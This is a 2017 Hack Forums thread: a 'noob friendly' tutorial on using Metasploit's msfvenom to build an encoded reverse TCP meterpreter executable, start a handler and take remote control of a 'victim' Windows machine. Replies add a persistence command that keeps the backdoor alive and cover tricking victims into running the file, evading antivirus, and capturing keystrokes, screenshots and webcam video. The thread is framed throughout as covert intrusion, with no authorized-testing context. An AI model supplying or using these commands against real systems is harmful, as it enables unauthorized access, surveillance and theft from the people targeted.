

Forum:[Hack Forums](#)

Thread: [\[Metasploit\] How to create and use a Reverse TCP Shell \[Noob Friendly\]](#)

ka\$h - January 4, 2017, 12:15 am

Hello friends, I am hoping this guide can help simplify the process and help people understand the use of a reverse TCP shell to gain remote access to a computer using Metasploit. Once you have a grasp on how it works you can get into more advanced techniques.

>> Before we begin <<

NOTE: This guide is in the perspective of using two machines on the same network. However if you understand this process, there is not much difference between doing this to a computer on a different network.

I will be using Kali Linux, and the victim's machine will be a Windows 10 virtual machine.

What is a Reverse TCP Shell?

A shell is a piece of code which can be used to give its user command execution on another device.

A Reverse Shell is a type of shell which is accessed through a listening port on the user's machine after it has been executed on another.

STEP 1 >> Generate the payload using msfvenom <<

NOTE: I will not be going through how to make your payload fully undetectable as that is not the aim of my tutorial.

1i. To create our payload, we need our computer's internal IP address, this can be obtained with the `ifconfig` command on a terminal. If the victim computer was on another network, you would use your public IP. [\[https://www.whatismyip.com\]](https://www.whatismyip.com)

My internal IP is 192.168.0.4.

1ii. Open a terminal and create your payload:

Code `msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.4 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o /root/Desktop/payload.exe` Spoiler [\(Click to View\)](#)-p <Payload to use>

LHOST <Your IP>

-e <Encoder to use>

-i <Iterations - How many times to encode payload>

-f <File output format>

-o <Path to output to>

Use command "`msfvenom -h`" for help

Your payload should now be on your desktop.

STEP 2 >> Set up our listener <<

2i. Now we open a terminal and start our Metasploit Framework:

Code msfconsole

2ii. Select our exploit:

Code use exploit/multi/handler

2iii. Select our payload:

Code set PAYLOAD windows/meterpreter/reverse_tcp

2iv. Select LHOST/LPORT:

Code set LHOST 192.168.0.4

set LPORT 4444 //DefaultSpoiler [\(Click to View\)](#)

The "show options" command comes in handy sometimes, it will show you your available options.

2v. Now we start our payload handler:

Code exploit -j -zSpoiler [\(Click to View\)](#)

STEP 3 >> Wait for access <<

3i. Now we wait for our victim to open our executable:

Victim's machine

Spoiler [\(Click to View\)](#)

3ii. Once the victim has run the executable, you will see a meterpreter session open on your terminal.

3iii. To interact with the session we use the command:

Code sessions -i 1Spoiler [\(Click to View\)](#)-i <Interact>

1 <Session ID to interact with>

use "sessions" to view all sessions

You now have backdoor access to that computer. ?

You can do many things such as spawn a command shell:

You can do things such as: Capture Keystrokes

Screenshot

View webcam

Make your backdoor persistent

Anything CMD can do

Spoiler [\(Click to View\)](#)

Use the "Help" command to view a range of commands.

Thanks for reading, hopefully some people learn something from this tutorial! ?

?Dominate - January 4, 2017, 3:35 am

Fantastic tutorial my man. You should get this stickied.

Mr. Robot - January 4, 2017, 3:39 am

Been posted 100s of times on here but always good to see people trying with the basics.

ka\$h - January 4, 2017, 3:43 am

(Jan 4, 2017 04:35 AM)?Dominate Wrote: [\[CITE\]](#) Fantastic tutorial my man. You should get this stickied.

yeah oi your a funny guy

(Jan 4, 2017 04:39 AM)Mr. Robot Wrote: [\[CITE\]](#) Been posted 100s of times on here but always good to see people trying with the basics.

A lot of new people don't go searching for things so it doesn't hurt to have them re-posted for them to see and hopefully learn something, hopefully posted in a clear way too that might be easier for some to learn.

setsuna - January 4, 2017, 10:09 am

This was super easy to follow, thank you very much! Would love to see more tutorials :)

I also recently realized about how important search is here. A lot is here, but it takes some digging to find what I'm looking for.

ka\$h - January 4, 2017, 10:18 am

(Jan 4, 2017 11:09 AM)setsuna Wrote: [\[CITE\]](#) This was super easy to follow, thank you very much! Would love to see more tutorials :)

I also recently realized about how important search is here. A lot is here, but it takes some digging to find what I'm looking for.

Thanks, will make more in the future ?

Exkoder - January 4, 2017, 4:13 pm

Would you make a tutorial on making the backdoor persistent i'm really interested in that. Cheers!

ka\$h - January 4, 2017, 5:02 pm

(Jan 4, 2017 05:13 PM)Exkoder Wrote: [\[CITE\]](#) Would you make a tutorial on making the backdoor persistent i'm really interested in that. Cheers!

From my example above, once I have opened the meterpreter session I could run the command:

Code run persistence -U -i 10 -p 4444 -r 192.168.0.4 Spoiler [\(Click to View\)](#)-U <Option to automatically start when user logs on>

-i <Time to wait between each attempt to connect>

-p <Port>

-r <Remote host IP (Your IP)>

Use command "run persistence -h" to see available options

It is now persistent!

Exkoder - January 5, 2017, 2:02 am

Thanks man. But what would happen if I restart my kali? How would I proceed into opening the sessions and executing commands?

ka\$h - January 5, 2017, 2:09 am

(Jan 5, 2017 03:02 AM)Exkoder Wrote: [\[CITE\]](#) Thanks man. But what would happen if I restart my kali? How would I proceed into opening the sessions and executing commands?

Just repeat step 2, this will set up your listener again, you should then see your meterpreter session open again, use the command "sessions" to view it, then you use "sessions -i <number ID off session>" to interact with it again.

Exkoder - January 5, 2017, 2:19 am

Worked perfectly, thanks alot. How about if the victim deletes the payload.exe what happens then?

ka\$h - January 5, 2017, 2:44 am

(Jan 5, 2017 03:19 AM)Exkoder Wrote: [\[CITE\]](#) Worked perfectly, thanks alot. How about if the victim deletes the payload.exe what happens then?

When you run persistence a script is injected to the victim machine so the file is not needed, as long as you internal IP remains the same it will continue to connect to you.

Exkoder - January 5, 2017, 3:10 am

Sounds fine, thanks alot for your replies and the tutorial!

ka\$h - January 5, 2017, 3:16 am

(Jan 5, 2017 04:10 AM)Exkoder Wrote: [\[CITE\]](#) Sounds fine, thanks alot for your replies and the tutorial!

All good, hope it was easy to understand ?

Exkoder - January 5, 2017, 3:23 am

I'll be looking for tutorials to make the payload FUD and ye it was easy to understand, thanks again.

WindoG - January 5, 2017, 4:20 am

So what exactly is metasploit????

ka\$h - January 5, 2017, 7:42 am

(Jan 5, 2017 05:20 AM)WindoG Wrote: [\[CITE\]](#) So what exactly is metasploit????

It is a tool/framework designed for professional penetration testers which consists of hundred of exploits/payloads for different purposes which you can use/create against targets.

It also has many other tools such as vulnerability scanners integrated.

mObile - January 5, 2017, 11:25 am

"If you spoon feed them, they'll learn" ?

Nice guide man, you already helped one member in this thread so keep it up!

ka\$h - January 5, 2017, 11:52 am

(Jan 5, 2017 12:25 PM)mObile Wrote: [\[CITE\]](#) "If you spoon feed them, they'll learn" ?

Nice guide man, you already helped one member in this thread so keep it up!

Thanks homie ? can only hope to have as much knowledge as you one day.

Megabear - January 5, 2017, 11:56 am

This is a extraordinary tutorial man.

Thank you for helping the community.

ka\$h - January 5, 2017, 12:03 pm

(Jan 5, 2017 12:56 PM)Megabear Wrote: [\[CITE\]](#) This is a extraordinary tutorial man.

Thank you for helping the community.

Thank you megabear for your kind words ?

soupy_man - January 5, 2017, 1:53 pm

This is a great help! I look forward to learning more here!

t0msawyer - January 5, 2017, 8:16 pm

excelent! thank for you information....! :D

ka\$h - January 6, 2017, 3:55 am

(Jan 5, 2017 09:16 PM)t0msawyer Wrote: [\[CITE\]](#) excelent! thank for you information....! :D
no problem buddy

Null - January 6, 2017, 3:58 am

So when we create that Payload, is it just a random .exe that does nothing but give access, or can we upload our own .exe's like a RAT or something. Also, does it just pop-up on the victims computer without having any access to it, just over the network? Sorry if I misunderstood the post, I've read over it a couple times.

ka\$h - January 6, 2017, 4:11 am

(Jan 6, 2017 04:58 AM)AltoSaxaphone Wrote: [\[CITE\]](#) So when we create that Payload, is it just a random .exe that does nothing but give access, or can we upload our own .exe's like a RAT or something. Also, does it just pop-up on the victims computer without having any access to it, just over the network? Sorry if I misunderstood the post, I've read over it a couple times.

Once you create the payload you need to figure out how to get your victim to run it, you can disguise it in various ways etc. in this case I just transferred the file over to the victim machine myself. As for the part about a RAT I'm not sure about why you would want to do such a thing, if you have a RAT you would just be spreading a RAT, there wouldn't be a need for this payload. Additionally once you execute this payload successfully on a target machine you have the power to download files onto the victims machine.

Null - January 6, 2017, 4:49 am

(Jan 6, 2017 05:11 AM)ka\$h Wrote: [\[CITE\]](#) Once you create the payload you need to figure out how to get your victim to run it, you can disguise it in various ways etc. in this case I just transferred the file over to the victim machine myself. As for the part about a RAT I'm not sure about why you would want to do such a thing, if you have a RAT you would just be spreading a RAT, there wouldn't be a need for this payload. Additionally once you execute this payload successfully on a target machine you have the power to download files onto the victims machine.

Awesome, cleared up a bit thank you. Just one more thing, am I able to transfer that payload through the network using the commands you gave? Thats my only confusion, thanks :)

ka\$h - January 6, 2017, 12:25 pm

(Jan 6, 2017 05:49 AM)AltoSaxaphone Wrote: [\[CITE\]](#) Awesome, cleared up a bit thank you. Just one more thing, am I able to transfer that payload through the network using the commands you gave? Thats my only confusion, thanks :)

Unfortunately no as there is no means of connecting to the computer prior to having the payload executed. Also in most situations you wouldn't actually be on the same network.

p4r14hd0g - January 6, 2017, 2:32 pm

This is very interesting thank you very much for taking your time to teach! :)